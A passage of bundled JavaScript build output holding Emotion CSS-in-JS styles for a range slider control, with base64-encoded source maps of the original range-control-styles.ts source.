sIH07XG5gO1xuXG5jb25zdCB0aHVtYkNvbG9yID0gKCB7IGRpc2FibGVkIH06IFRodW1iUHJvcHMgKSA9PiB7XG5cdHJldHVybiBjc3NgXG5cdFx0YmFja2dyb3VuZDogJHsgZGlzYWJsZWRcblx0XHRcdD8gQ09MT1JTLnRoZW1lLmdyYXlbIDQwMCBdXG5cdFx0XHQ6IENPTE9SUy50aGVtZS5hY2NlbnQgfTtcblxuXHRcdEBtZWRpYSAoIGZvcmNlZC1jb2xvcnM6IGFjdGl2ZSApIHtcblx0XHRcdGJhY2tncm91bmQ6ICR7IGRpc2FibGVkID8gJ0dyYXlUZXh0JyA6ICdDYW52YXNUZXh0JyB9O1xuXHRcdH1cblx0YDtcbn07XG5cbmV4cG9ydCBjb25zdCBUaHVtYldyYXBwZXIgPSBzdHlsZWQuc3BhbmBcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0ZGlzcGxheTogZmxleDtcblx0aGVpZ2h0OiAkeyB0aHVtYlNpemUgfXB4O1xuXHRqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcblx0bWFyZ2luLXRvcDogJHsgKCByYW5nZUhlaWdodFZhbHVlIC0gdGh1bWJTaXplICkgLyAyIH1weDtcblx0b3V0bGluZTogMDtcblx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0dG9wOiAwO1xuXHR1c2VyLXNlbGVjdDogbm9uZTtcblx0d2lkdGg6ICR7IHRodW1iU2l6ZSB9cHg7XG5cdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNSb3VuZCB9O1xuXHR6LWluZGV4OiAzO1xuXG5cdC5pcy1tYXJrZWQgJiB7XG5cdFx0QG1lZGlhIG5vdCAoIHByZWZlcnMtcmVkdWNlZC1tb3Rpb24gKSB7XG5cdFx0XHR0cmFuc2l0aW9uOiBsZWZ0IGVhc2UgMC4xcztcblx0XHR9XG5cdH1cblxuXHQkeyB0aHVtYkNvbG9yIH07XG5cdCR7IHJ0bCggeyBtYXJnaW5MZWZ0OiAtMTAgfSApIH07XG5cdCR7IHJ0bChcblx0XHR7IHRyYW5zZm9ybTogJ3RyYW5zbGF0ZVgoIDQuNXB4ICknIH0sXG5cdFx0eyB0cmFuc2Zvcm06ICd0cmFuc2xhdGVYKCAtNC41cHggKScgfVxuXHQpIH07XG5gO1xuXG5jb25zdCB0aHVtYkZvY3VzID0gKCB7IGlzRm9jdXNlZCB9OiBUaHVtYlByb3BzICkgPT4ge1xuXHRyZXR1cm4gaXNGb2N1c2VkXG5cdFx0PyBjc3NgXG5cdFx0XHRcdCY6OmJlZm9yZSB7XG5cdFx0XHRcdFx0Y29udGVudDogJyAnO1xuXHRcdFx0XHRcdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0XHRcdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiAkeyBDT0xPUlMudGhlbWUuYWNjZW50IH07XG5cdFx0XHRcdFx0b3BhY2l0eTogMC40O1xuXHRcdFx0XHRcdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNSb3VuZCB9O1xuXHRcdFx0XHRcdGhlaWdodDogJHsgdGh1bWJTaXplICsgOCB9cHg7XG5cdFx0XHRcdFx0d2lkdGg6ICR7IHRodW1iU2l6ZSArIDggfXB4O1xuXHRcdFx0XHRcdHRvcDogLTRweDtcblx0XHRcdFx0XHRsZWZ0OiAtNHB4O1xuXG5cdFx0XHRcdFx0QG1lZGlhICggZm9yY2VkLWNvbG9yczogYWN0aXZlICkge1xuXHRcdFx0XHRcdFx0YmFja2dyb3VuZDogR3JheVRleHQ7XG5cdFx0XHRcdFx0fVxuXHRcdFx0XHR9XG5cdFx0ICBgXG5cdFx0OiAnJztcbn07XG5cbmV4cG9ydCBjb25zdCBUaHVtYiA9IHN0eWxlZC5zcGFuPCBUaHVtYlByb3BzID5gXG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNSb3VuZCB9O1xuXHRoZWlnaHQ6IDEwMCU7XG5cdG91dGxpbmU6IDA7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0dXNlci1zZWxlY3Q6IG5vbmU7XG5cdHdpZHRoOiAxMDAlO1xuXHRib3gtc2hhZG93OiAkeyBDT05GSUcuZWxldmF0aW9uWFNtYWxsIH07XG5cblx0JHsgdGh1bWJDb2xvciB9O1xuXHQkeyB0aHVtYkZvY3VzIH07XG5gO1xuXG5leHBvcnQgY29uc3QgSW5wdXRSYW5nZSA9IHN0eWxlZC5pbnB1dGBcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0Y3Vyc29yOiBwb2ludGVyO1xuXHRkaXNwbGF5OiBibG9jaztcblx0aGVpZ2h0OiAxMDAlO1xuXHRsZWZ0OiAwO1xuXHRtYXJnaW46IDAgLSR7IHRodW1iU2l6ZSAvIDIgfXB4O1xuXHRvcGFjaXR5OiAwO1xuXHRvdXRsaW5lOiBub25lO1xuXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdHJpZ2h0OiAwO1xuXHR0b3A6IDA7XG5cdHdpZHRoOiBjYWxjKCAxMDAlICsgJHsgdGh1bWJTaXplIH1weCApO1xuYDtcblxuY29uc3QgdG9vbHRpcFNob3cgPSAoIHsgc2hvdyB9OiBUb29sdGlwUHJvcHMgKSA9PiB7XG5cdHJldHVybiBjc3NgXG5cdFx0ZGlzcGxheTogJHsgc2hvdyA/ICdpbmxpbmUtYmxvY2snIDogJ25vbmUnIH07XG5cdFx0b3BhY2l0eTogJHsgc2hvdyA/IDEgOiAwIH07XG5cblx0XHRAbWVkaWEgbm90ICggcHJlZmVycy1yZWR1Y2VkLW1vdGlvbiApIHtcblx0XHRcdHRyYW5zaXRpb246XG5cdFx0XHRcdG9wYWNpdHkgMTIwbXMgZWFzZSxcblx0XHRcdFx0ZGlzcGxheSAxMjBtcyBlYXNlIGFsbG93LWRpc2NyZXRlO1xuXHRcdH1cblxuXHRcdEBzdGFydGluZy1zdHlsZSB7XG5cdFx0XHRvcGFjaXR5OiAwO1xuXHRcdH1cblx0YDtcbn07XG5cbmNvbnN0IHRvb2x0aXBQbGFjZW1lbnQgPSAoIHsgcGxhY2VtZW50IH06IFRvb2x0aXBQcm9wcyApID0+IHtcblx0Y29uc3QgaXNCb3R0b20gPSBwbGFjZW1lbnQgPT09ICdib3R0b20nO1xuXG5cdGlmICggaXNCb3R0b20gKSB7XG5cdFx0cmV0dXJuIGNzc2Bcblx0XHRcdGJvdHRvbTogLTgwJTtcblx0XHRgO1xuXHR9XG5cblx0cmV0dXJuIGNzc2Bcblx0XHR0b3A6IC04MCU7XG5cdGA7XG59O1xuXG5leHBvcnQgY29uc3QgVG9vbHRpcCA9IHN0eWxlZC5zcGFuPCBUb29sdGlwUHJvcHMgPmBcblx0YmFja2dyb3VuZDogcmdiYSggMCwgMCwgMCwgMC44ICk7XG5cdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNTbWFsbCB9O1xuXHRjb2xvcjogd2hpdGU7XG5cdGZvbnQtc2l6ZTogMTJweDtcblx0bWluLXdpZHRoOiAzMnB4O1xuXHRwYWRkaW5nOiA0cHggOHB4O1xuXHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHR0ZXh0LWFsaWduOiBjZW50ZXI7XG5cdHVzZXItc2VsZWN0OiBub25lO1xuXHRsaW5lLWhlaWdodDogMS40O1xuXG5cdCR7IHRvb2x0aXBTaG93IH07XG5cblx0JHsgdG9vbHRpcFBsYWNlbWVudCB9O1xuXHQkeyBydGwoXG5cdFx0eyB0cmFuc2Zvcm06ICd0cmFuc2xhdGVYKC01MCUpJyB9LFxuXHRcdHsgdHJhbnNmb3JtOiAndHJhbnNsYXRlWCg1MCUpJyB9XG5cdCkgfVxuYDtcblxuLy8gQHRvZG8gUmVmYWN0b3IgUmFuZ2VDb250cm9sIHdpdGggbGF0ZXN0IEhTdGFjayBjb25maWd1cmF0aW9uXG4vLyBAc2VlOiBwYWNrYWdlcy9jb21wb25lbnRzL3NyYy9oLXN0YWNrXG5leHBvcnQgY29uc3QgSW5wdXROdW1iZXIgPSBzdHlsZWQoIE51bWJlckNvbnRyb2wgKWBcblx0ZGlzcGxheTogaW5saW5lLWJsb2NrO1xuXHRmb250LXNpemU6IDEzcHg7XG5cdG1hcmdpbi10b3A6IDA7XG5cblx0aW5wdXRbdHlwZT0nbnVtYmVyJ10mIHtcblx0XHQkeyByYW5nZUhlaWdodCB9O1xuXHR9XG5cblx0JHsgcnRsKCB7IG1hcmdpbkxlZnQ6IGAkeyBzcGFjZSggNCApIH0gIWltcG9ydGFudGAgfSApIH1cbmA7XG5cbmV4cG9ydCBjb25zdCBBY3Rpb25SaWdodFdyYXBwZXIgPSBzdHlsZWQuc3BhbmBcblx0ZGlzcGxheTogYmxvY2s7XG5cdG1hcmdpbi10b3A6IDA7XG5cblx0YnV0dG9uLFxuXHRidXR0b24uaXMtc21hbGwge1xuXHRcdG1hcmdpbi1sZWZ0OiAwO1xuXHRcdCR7IHJhbmdlSGVpZ2h0IH07XG5cdH1cblxuXHQkeyBydGwoIHsgbWFyZ2luTGVmdDogOCB9ICkgfVxuYDtcbiJdfQ== */"));
30664 var wrapperColor = ({
30665 color: color2 = COLORS.ui.borderFocus
30666 }) => /* @__PURE__ */ css({
30667 color: color2
30668 }, false ? "" : ";label:wrapperColor;", false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInJhbmdlLWNvbnRyb2wtc3R5bGVzLnRzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiJBQWtEQyIsImZpbGUiOiJyYW5nZS1jb250cm9sLXN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IE51bWJlckNvbnRyb2wgZnJvbSAnLi4vLi4vbnVtYmVyLWNvbnRyb2wnO1xuaW1wb3J0IHsgQ09MT1JTLCBydGwsIENPTkZJRyB9IGZyb20gJy4uLy4uL3V0aWxzJztcbmltcG9ydCB7IHNwYWNlIH0gZnJvbSAnLi4vLi4vdXRpbHMvc3BhY2UnO1xuXG5pbXBvcnQgdHlwZSB7XG5cdFJhbmdlTWFya1Byb3BzLFxuXHRSYWlsUHJvcHMsXG5cdFRodW1iUHJvcHMsXG5cdFRvb2x0aXBQcm9wcyxcblx0VHJhY2tQcm9wcyxcblx0V3JhcHBlclByb3BzLFxuXHRSYW5nZUNvbnRyb2xQcm9wcyxcbn0gZnJvbSAnLi4vdHlwZXMnO1xuXG5jb25zdCByYW5nZUhlaWdodFZhbHVlID0gMzA7XG5jb25zdCByYWlsSGVpZ2h0ID0gNDtcbmNvbnN0IHJhbmdlSGVpZ2h0ID0gKCkgPT5cblx0Y3NzKCB7IGhlaWdodDogcmFuZ2VIZWlnaHRWYWx1ZSwgbWluSGVpZ2h0OiByYW5nZUhlaWdodFZhbHVlIH0gKTtcbmNvbnN0IHRodW1iU2l6ZSA9IDEyO1xuXG5jb25zdCBkZXByZWNhdGVkSGVpZ2h0ID0gKCB7XG5cdF9fbmV4dDQwcHhEZWZhdWx0U2l6ZSxcbn06IFBpY2s8IFJhbmdlQ29udHJvbFByb3BzLCAnX19uZXh0NDBweERlZmF1bHRTaXplJyA+ICkgPT5cblx0ISBfX25leHQ0MHB4RGVmYXVsdFNpemUgJiYgY3NzKCB7IG1pbkhlaWdodDogcmFuZ2VIZWlnaHRWYWx1ZSB9ICk7XG5cbnR5cGUgUm9vdFByb3BzID0gUGljazwgUmFuZ2VDb250cm9sUHJvcHMsICdfX25leHQ0MHB4RGVmYXVsdFNpemUnID47XG5leHBvcnQgY29uc3QgUm9vdCA9IHN0eWxlZC5kaXY8IFJvb3RQcm9wcyA+YFxuXHQtd2Via2l0LXRhcC1oaWdobGlnaHQtY29sb3I6IHRyYW5zcGFyZW50O1xuXHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRkaXNwbGF5OiBmbGV4O1xuXHRqdXN0aWZ5LWNvbnRlbnQ6IGZsZXgtc3RhcnQ7XG5cdHBhZGRpbmc6IDA7XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0dG91Y2gtYWN0aW9uOiBub25lO1xuXHR3aWR0aDogMTAwJTtcblx0bWluLWhlaWdodDogNDBweDtcblx0LyogVE9ETzogcmVtb3ZlIGFmdGVyIHJlbW92aW5nIHRoZSBfX25leHQ0MHB4RGVmYXVsdFNpemUgcHJvcCAqL1xuXHQkeyBkZXByZWNhdGVkSGVpZ2h0IH07XG5gO1xuXG5jb25zdCB3cmFwcGVyQ29sb3IgPSAoIHsgY29sb3IgPSBDT0xPUlMudWkuYm9yZGVyRm9jdXMgfTogV3JhcHBlclByb3BzICkgPT5cblx0Y3NzKCB7IGNvbG9yIH0gKTtcblxuZXhwb3J0IGNvbnN0IFdyYXBwZXIgPSBzdHlsZWQoICdkaXYnLCB7XG5cdHNob3VsZEZvcndhcmRQcm9wOiAoIHByb3A6IHN0cmluZyApID0+XG5cdFx0ISBbICdjb2xvcicsICdtYXJrcycgXS5pbmNsdWRlcyggcHJvcCApLFxufSApPCBXcmFwcGVyUHJvcHMgPmBcblx0ZGlzcGxheTogYmxvY2s7XG5cdGZsZXg6IDE7XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0d2lkdGg6IDEwMCU7XG5cblx0JHsgd3JhcHBlckNvbG9yIH07XG5cdCR7IHJhbmdlSGVpZ2h0IH07XG5gO1xuXG5leHBvcnQgY29uc3QgQmVmb3JlSWNvbldyYXBwZXIgPSBzdHlsZWQuc3BhbmBcblx0ZGlzcGxheTogZmxleDsgLy8gZW5zdXJlcyB0aGUgaGVpZ2h0IGlzbid0IGFmZmVjdGVkIGJ5IGxpbmUtaGVpZ2h0XG5cdG1hcmdpbi10b3A6ICR7IHJhaWxIZWlnaHQgfXB4O1xuXG5cdCR7IHJ0bCggeyBtYXJnaW5SaWdodDogNiB9ICkgfVxuYDtcblxuZXhwb3J0IGNvbnN0IEFmdGVySWNvbldyYXBwZXIgPSBzdHlsZWQuc3BhbmBcblx0ZGlzcGxheTogZmxleDsgLy8gZW5zdXJlcyB0aGUgaGVpZ2h0IGlzbid0IGFmZmVjdGVkIGJ5IGxpbmUtaGVpZ2h0XG5cdG1hcmdpbi10b3A6ICR7IHJhaWxIZWlnaHQgfXB4O1xuXG5cdCR7IHJ0bCggeyBtYXJnaW5MZWZ0OiA2IH0gKSB9XG5gO1xuXG5jb25zdCByYWlsQmFja2dyb3VuZENvbG9yID0gKCB7IGRpc2FibGVkLCByYWlsQ29sb3IgfTogUmFpbFByb3BzICkgPT4ge1xuXHRyZXR1cm4gY3NzYFxuXHRcdGJhY2tncm91bmQ6ICR7IGRpc2FibGVkXG5cdFx0XHQ/IENPTE9SUy51aS5iYWNrZ3JvdW5kRGlzYWJsZWRcblx0XHRcdDogcmFpbENvbG9yIHx8IENPTE9SUy50aGVtZS5ncmF5WyAzMDAgXSB9O1xuXG5cdFx0QG1lZGlhICggZm9yY2VkLWNvbG9yczogYWN0aXZlICkge1xuXHRcdFx0YmFja2dyb3VuZDogR3JheVRleHQ7XG5cdFx0fVxuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IFJhaWwgPSBzdHlsZWQuc3BhbmBcblx0bGVmdDogMDtcblx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdHJpZ2h0OiAwO1xuXHRkaXNwbGF5OiBibG9jaztcblx0aGVpZ2h0OiAkeyByYWlsSGVpZ2h0IH1weDtcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHRtYXJnaW4tdG9wOiAkeyAoIHJhbmdlSGVpZ2h0VmFsdWUgLSByYWlsSGVpZ2h0ICkgLyAyIH1weDtcblx0dG9wOiAwO1xuXHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzRnVsbCB9O1xuXG5cdCR7IHJhaWxCYWNrZ3JvdW5kQ29sb3IgfTtcbmA7XG5cbmNvbnN0IHRyYWNrQmFja2dyb3VuZENvbG9yID0gKCB7IGRpc2FibGVkLCB0cmFja0NvbG9yIH06IFRyYWNrUHJvcHMgKSA9PiB7XG5cdHJldHVybiBjc3NgXG5cdFx0YmFja2dyb3VuZDogJHsgZGlzYWJsZWRcblx0XHRcdD8gQ09MT1JTLnRoZW1lLmdyYXlbIDQwMCBdXG5cdFx0XHQ6IHRyYWNrQ29sb3IgfHwgJ2N1cnJlbnRDb2xvcicgfTtcblxuXHRcdEBtZWRpYSAoIGZvcmNlZC1jb2xvcnM6IGFjdGl2ZSApIHtcblx0XHRcdGJhY2tncm91bmQ6ICR7IGRpc2FibGVkID8gJ0dyYXlUZXh0JyA6ICdDYW52YXNUZXh0JyB9O1xuXHRcdH1cblx0YDtcbn07XG5cbmV4cG9ydCBjb25zdCBUcmFjayA9IHN0eWxlZC5zcGFuYFxuXHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzRnVsbCB9O1xuXHRoZWlnaHQ6ICR7IHJhaWxIZWlnaHQgfXB4O1xuXHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0ZGlzcGxheTogYmxvY2s7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0bWFyZ2luLXRvcDogJHsgKCByYW5nZUhlaWdodFZhbHVlIC0gcmFpbEhlaWdodCApIC8gMiB9cHg7XG5cdHRvcDogMDtcblxuXHQuaXMtbWFya2VkICYge1xuXHRcdEBtZWRpYSBub3QgKCBwcmVmZXJzLXJlZHVjZWQtbW90aW9uICkge1xuXHRcdFx0dHJhbnNpdGlvbjogd2lkdGggZWFzZSAwLjFzO1xuXHRcdH1cblx0fVxuXG5cdCR7IHRyYWNrQmFja2dyb3VuZENvbG9yIH07XG5gO1xuXG5leHBvcnQgY29uc3QgTWFya3NXcmFwcGVyID0gc3R5bGVkLnNwYW5gXG5cdGRpc3BsYXk6IGJsb2NrO1xuXHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHR3aWR0aDogMTAwJTtcblx0dXNlci1zZWxlY3Q6IG5vbmU7XG5cdG1hcmdpbi10b3A6IDE3cHg7XG5gO1xuXG5leHBvcnQgY29uc3QgTWFyayA9IHN0eWxlZC5zcGFuYFxuXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdGxlZnQ6IDA7XG5cdHRvcDogLTRweDtcblx0aGVpZ2h0OiA0cHg7XG5cdHdpZHRoOiAycHg7XG5cdHRyYW5zZm9ybTogdHJhbnNsYXRlWCggLTUwJSApO1xuXHRiYWNrZ3JvdW5kLWNvbG9yOiAkeyBDT0xPUlMudWkuYmFja2dyb3VuZCB9O1xuXHR6LWluZGV4OiAxO1xuYDtcblxuY29uc3QgbWFya0xhYmVsRmlsbCA9ICggeyBpc0ZpbGxlZCB9OiBSYW5nZU1hcmtQcm9wcyApID0+IHtcblx0cmV0dXJuIGNzcygge1xuXHRcdGNvbG9yOiBpc0ZpbGxlZCA/IENPTE9SUy50aGVtZS5ncmF5WyA3MDAgXSA6IENPTE9SUy50aGVtZS5ncmF5WyAzMDAgXSxcblx0fSApO1xufTtcblxuZXhwb3J0IGNvbnN0IE1hcmtMYWJlbCA9IHN0eWxlZC5zcGFuYFxuXHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmdyYXlbIDMwMCBdIH07XG5cdGZvbnQtc2l6ZTogMTFweDtcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHR0b3A6IDhweDtcblx0d2hpdGUtc3BhY2U6IG5vd3JhcDtcblxuXHQkeyBydGwoIHsgbGVmdDogMCB9ICkgfTtcblx0JHsgcnRsKFxuXHRcdHsgdHJhbnNmb3JtOiAndHJhbnNsYXRlWCggLTUwJSApJyB9LFxuXHRcdHsgdHJhbnNmb3JtOiAndHJhbnNsYXRlWCggNTAlICknIH1cblx0KSB9O1xuXG5cdCR7IG1hcmtMYWJlbEZpbGwgfTtcbmA7XG5cbmNvbnN0IHRodW1iQ29sb3IgPSAoIHsgZGlzYWJsZWQgfTogVGh1bWJQcm9wcyApID0+IHtcblx0cmV0dXJuIGNzc2Bcblx0XHRiYWNrZ3JvdW5kOiAkeyBkaXNhYmxlZFxuXHRcdFx0PyBDT0xPUlMudGhlbWUuZ3JheVsgNDAwIF1cblx0XHRcdDogQ09MT1JTLnRoZW1lLmFjY2VudCB9O1xuXG5cdFx0QG1lZGlhICggZm9yY2VkLWNvbG9yczogYWN0aXZlICkge1xuXHRcdFx0YmFja2dyb3VuZDogJHsgZGlzYWJsZWQgPyAnR3JheVRleHQnIDogJ0NhbnZhc1RleHQnIH07XG5cdFx0fVxuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IFRodW1iV3JhcHBlciA9IHN0eWxlZC5zcGFuYFxuXHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRkaXNwbGF5OiBmbGV4O1xuXHRoZWlnaHQ6ICR7IHRodW1iU2l6ZSB9cHg7XG5cdGp1c3RpZnktY29udGVudDogY2VudGVyO1xuXHRtYXJnaW4tdG9wOiAkeyAoIHJhbmdlSGVpZ2h0VmFsdWUgLSB0aHVtYlNpemUgKSAvIDIgfXB4O1xuXHRvdXRsaW5lOiAwO1xuXHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHR0b3A6IDA7XG5cdHVzZXItc2VsZWN0OiBub25lO1xuXHR3aWR0aDogJHsgdGh1bWJTaXplIH1weDtcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1JvdW5kIH07XG5cdHotaW5kZXg6IDM7XG5cblx0LmlzLW1hcmtlZCAmIHtcblx0XHRAbWVkaWEgbm90ICggcHJlZmVycy1yZWR1Y2VkLW1vdGlvbiApIHtcblx0XHRcdHRyYW5zaXRpb246IGxlZnQgZWFzZSAwLjFzO1xuXHRcdH1cblx0fVxuXG5cdCR7IHRodW1iQ29sb3IgfTtcblx0JHsgcnRsKCB7IG1hcmdpbkxlZnQ6IC0xMCB9ICkgfTtcblx0JHsgcnRsKFxuXHRcdHsgdHJhbnNmb3JtOiAndHJhbnNsYXRlWCggNC41cHggKScgfSxcblx0XHR7IHRyYW5zZm9ybTogJ3RyYW5zbGF0ZVgoIC00LjVweCApJyB9XG5cdCkgfTtcbmA7XG5cbmNvbnN0IHRodW1iRm9jdXMgPSAoIHsgaXNGb2N1c2VkIH06IFRodW1iUHJvcHMgKSA9PiB7XG5cdHJldHVybiBpc0ZvY3VzZWRcblx0XHQ/IGNzc2Bcblx0XHRcdFx0Jjo6YmVmb3JlIHtcblx0XHRcdFx0XHRjb250ZW50OiAnICc7XG5cdFx0XHRcdFx0cG9zaXRpb246IGFic29sdXRlO1xuXHRcdFx0XHRcdGJhY2tncm91bmQtY29sb3I6ICR7IENPTE9SUy50aGVtZS5hY2NlbnQgfTtcblx0XHRcdFx0XHRvcGFjaXR5OiAwLjQ7XG5cdFx0XHRcdFx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1JvdW5kIH07XG5cdFx0XHRcdFx0aGVpZ2h0OiAkeyB0aHVtYlNpemUgKyA4IH1weDtcblx0XHRcdFx0XHR3aWR0aDogJHsgdGh1bWJTaXplICsgOCB9cHg7XG5cdFx0XHRcdFx0dG9wOiAtNHB4O1xuXHRcdFx0XHRcdGxlZnQ6IC00cHg7XG5cblx0XHRcdFx0XHRAbWVkaWEgKCBmb3JjZWQtY29sb3JzOiBhY3RpdmUgKSB7XG5cdFx0XHRcdFx0XHRiYWNrZ3JvdW5kOiBHcmF5VGV4dDtcblx0XHRcdFx0XHR9XG5cdFx0XHRcdH1cblx0XHQgIGBcblx0XHQ6ICcnO1xufTtcblxuZXhwb3J0IGNvbnN0IFRodW1iID0gc3R5bGVkLnNwYW48IFRodW1iUHJvcHMgPmBcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1JvdW5kIH07XG5cdGhlaWdodDogMTAwJTtcblx0b3V0bGluZTogMDtcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHR1c2VyLXNlbGVjdDogbm9uZTtcblx0d2lkdGg6IDEwMCU7XG5cdGJveC1zaGFkb3c6ICR7IENPTkZJRy5lbGV2YXRpb25YU21hbGwgfTtcblxuXHQkeyB0aHVtYkNvbG9yIH07XG5cdCR7IHRodW1iRm9jdXMgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBJbnB1dFJhbmdlID0gc3R5bGVkLmlucHV0YFxuXHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRjdXJzb3I6IHBvaW50ZXI7XG5cdGRpc3BsYXk6IGJsb2NrO1xuXHRoZWlnaHQ6IDEwMCU7XG5cdGxlZnQ6IDA7XG5cdG1hcmdpbjogMCAtJHsgdGh1bWJTaXplIC8gMiB9cHg7XG5cdG9wYWNpdHk6IDA7XG5cdG91dGxpbmU6IG5vbmU7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0cmlnaHQ6IDA7XG5cdHRvcDogMDtcblx0d2lkdGg6IGNhbGMoIDEwMCUgKyAkeyB0aHVtYlNpemUgfXB4ICk7XG5gO1xuXG5jb25zdCB0b29sdGlwU2hvdyA9ICggeyBzaG93IH06IFRvb2x0aXBQcm9wcyApID0+IHtcblx0cmV0dXJuIGNzc2Bcblx0XHRkaXNwbGF5OiAkeyBzaG93ID8gJ2lubGluZS1ibG9jaycgOiAnbm9uZScgfTtcblx0XHRvcGFjaXR5OiAkeyBzaG93ID8gMSA6IDAgfTtcblxuXHRcdEBtZWRpYSBub3QgKCBwcmVmZXJzLXJlZHVjZWQtbW90aW9uICkge1xuXHRcdFx0dHJhbnNpdGlvbjpcblx0XHRcdFx0b3BhY2l0eSAxMjBtcyBlYXNlLFxuXHRcdFx0XHRkaXNwbGF5IDEyMG1zIGVhc2UgYWxsb3ctZGlzY3JldGU7XG5cdFx0fVxuXG5cdFx0QHN0YXJ0aW5nLXN0eWxlIHtcblx0XHRcdG9wYWNpdHk6IDA7XG5cdFx0fVxuXHRgO1xufTtcblxuY29uc3QgdG9vbHRpcFBsYWNlbWVudCA9ICggeyBwbGFjZW1lbnQgfTogVG9vbHRpcFByb3BzICkgPT4ge1xuXHRjb25zdCBpc0JvdHRvbSA9IHBsYWNlbWVudCA9PT0gJ2JvdHRvbSc7XG5cblx0aWYgKCBpc0JvdHRvbSApIHtcblx0XHRyZXR1cm4gY3NzYFxuXHRcdFx0Ym90dG9tOiAtODAlO1xuXHRcdGA7XG5cdH1cblxuXHRyZXR1cm4gY3NzYFxuXHRcdHRvcDogLTgwJTtcblx0YDtcbn07XG5cbmV4cG9ydCBjb25zdCBUb29sdGlwID0gc3R5bGVkLnNwYW48IFRvb2x0aXBQcm9wcyA+YFxuXHRiYWNrZ3JvdW5kOiByZ2JhKCAwLCAwLCAwLCAwLjggKTtcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1NtYWxsIH07XG5cdGNvbG9yOiB3aGl0ZTtcblx0Zm9udC1zaXplOiAxMnB4O1xuXHRtaW4td2lkdGg6IDMycHg7XG5cdHBhZGRpbmc6IDRweCA4cHg7XG5cdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdHRleHQtYWxpZ246IGNlbnRlcjtcblx0dXNlci1zZWxlY3Q6IG5vbmU7XG5cdGxpbmUtaGVpZ2h0OiAxLjQ7XG5cblx0JHsgdG9vbHRpcFNob3cgfTtcblxuXHQkeyB0b29sdGlwUGxhY2VtZW50IH07XG5cdCR7IHJ0bChcblx0XHR7IHRyYW5zZm9ybTogJ3RyYW5zbGF0ZVgoLTUwJSknIH0sXG5cdFx0eyB0cmFuc2Zvcm06ICd0cmFuc2xhdGVYKDUwJSknIH1cblx0KSB9XG5gO1xuXG4vLyBAdG9kbyBSZWZhY3RvciBSYW5nZUNvbnRyb2wgd2l0aCBsYXRlc3QgSFN0YWNrIGNvbmZpZ3VyYXRpb25cbi8vIEBzZWU6IHBhY2thZ2VzL2NvbXBvbmVudHMvc3JjL2gtc3RhY2tcbmV4cG9ydCBjb25zdCBJbnB1dE51bWJlciA9IHN0eWxlZCggTnVtYmVyQ29udHJvbCApYFxuXHRkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG5cdGZvbnQtc2l6ZTogMTNweDtcblx0bWFyZ2luLXRvcDogMDtcblxuXHRpbnB1dFt0eXBlPSdudW1iZXInXSYge1xuXHRcdCR7IHJhbmdlSGVpZ2h0IH07XG5cdH1cblxuXHQkeyBydGwoIHsgbWFyZ2luTGVmdDogYCR7IHNwYWNlKCA0ICkgfSAhaW1wb3J0YW50YCB9ICkgfVxuYDtcblxuZXhwb3J0IGNvbnN0IEFjdGlvblJpZ2h0V3JhcHBlciA9IHN0eWxlZC5zcGFuYFxuXHRkaXNwbGF5OiBibG9jaztcblx0bWFyZ2luLXRvcDogMDtcblxuXHRidXR0b24sX